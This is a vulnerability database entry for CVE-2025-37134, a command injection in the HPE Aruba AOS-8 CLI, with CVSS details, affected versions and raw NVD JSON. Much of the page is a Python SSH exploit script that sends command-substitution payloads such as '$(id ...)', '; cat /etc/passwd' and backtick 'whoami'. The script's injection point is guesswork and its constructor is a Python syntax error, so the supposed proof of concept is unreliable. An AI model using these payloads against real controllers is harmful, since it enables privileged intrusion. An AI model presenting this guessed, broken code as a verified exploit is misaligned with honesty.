Security Vulnerability Report
中文
CVE-2025-37134 CVSS 7.2 HIGH

CVE-2025-37134

Published: 2025-10-14 17:15:40
Last Modified: 2025-11-12 16:24:17

Description

An authenticated command injection vulnerability exists in the CLI binary of an AOS-8 Controller/Mobility Conductor operating system. Successful exploitation could allow an authenticated malicious actor to execute arbitrary commands as a privileged user on the underlying operating system.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
HPE Aruba Networking AOS-8 Controller(具体受影响的版本需参考HPE官方安全公告hpesbnw04957en_us)
HPE Aruba Networking AOS-8 Mobility Conductor(具体受影响的版本需参考HPE官方安全公告hpesbnw04957en_us)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37134 PoC - HPE Aruba AOS-8 CLI Command Injection # Vulnerability: Authenticated Command Injection in AOS-8 CLI binary # Attacker must have high-privilege CLI access (PR:H) import paramiko import sys import re class ArubaAOS8Exploit: """ PoC for CVE-2025-37134: Authenticated Command Injection in HPE Aruba AOS-8 Controller/Mobility Conductor CLI binary. """ def __init__(self, host, port=22, username, password): self.host = host self.port = port self.username = username self.password = password self.client = None def connect(self): """Establish SSH connection to the Aruba controller.""" self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.client.connect( hostname=self.host, port=self.port, username=self.username, password=self.password, look_for_keys=False, allow_agent=False ) print(f"[+] Connected to {self.host}:{self.port}") def execute_injection(self, malicious_payload): """ Inject OS commands via vulnerable CLI parameter. The CLI binary fails to sanitize shell metacharacters in certain arguments, allowing arbitrary command execution as a privileged user on the underlying OS. """ # The injection point: a CLI command argument that is passed # unsanitized to the underlying OS shell. # Example injection vectors may include filenames, hostnames, # or other user-supplied parameters processed by the CLI binary. injected_command = f'show user-table | include "$(id > /tmp/pwned_{malicious_payload})"' # Alternative injection patterns depending on vulnerable CLI command: # injected_command = f'ping {malicious_payload}; cat /etc/passwd' # injected_command = f'traceroute {malicious_payload}`whoami`' stdin, stdout, stderr = self.client.exec_command(injected_command) output = stdout.read().decode('utf-8', errors='ignore') error = stderr.read().decode('utf-8', errors='ignore') return output, error def verify_exploitation(self): """Verify command execution by checking for injected marker file.""" check_cmd = "ls -la /tmp/pwned_* 2>/dev/null" stdin, stdout, stderr = self.client.exec_command(check_cmd) output = stdout.read().decode('utf-8', errors='ignore') if 'pwned_' in output: print("[+] EXPLOITATION CONFIRMED: Arbitrary command executed!") print(f"[+] Output:\n{output}") return True else: print("[-] Exploitation marker not found.") return False def run(self): """Execute the full exploitation chain.""" try: self.connect() # Inject a benign command to verify RCE payload = "$(id)" output, error = self.execute_injection(payload) print(f"[*] CLI Output:\n{output}") if error: print(f"[*] CLI Error:\n{error}") self.verify_exploitation() except Exception as e: print(f"[-] Error: {e}") finally: if self.client: self.client.close() if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <host> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.1 admin password123") sys.exit(1) exploit = ArubaAOS8Exploit( host=sys.argv[1], username=sys.argv[2], password=sys.argv[3] ) exploit.run()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37134", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:40.010", "lastModified": "2025-11-12T16:24:16.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated command injection vulnerability exists in the CLI binary of an AOS-8 Controller/Mobility Conductor operating system. Successful exploitation could allow an authenticated malicious actor to execute arbitrary commands as a privileged user on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.10.0.0", "versionEndExcluding": "8.10.0.19", "matchCriteriaId": "3D5F48C7-AD51-4641-9CBA-9DE9B516819E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.12.0.0", "versionEndExcluding": "8.12.0.6", "matchCriteriaId": "057AA8F5-FF66-44E9-8E06-D2B9E8B91AD2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.13.0.0", "versionEndExcluding": "8.13.1.0", "matchCriteriaId": "D4B066B5-D01B-43AE-B4DC-AF560D6B953C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.4.0.0", "versionEndExcluding": "10.4.1.9", "matchCriteriaId": "04F61E46-8412-4B8D-BE7B-EBF61BE52C54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.7.0.0", "versionEndExcluding": "10.7.2.1", "matchCriteriaId": "BEF8618F-C126-4F8F-951F-6D62FE8FAB22"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}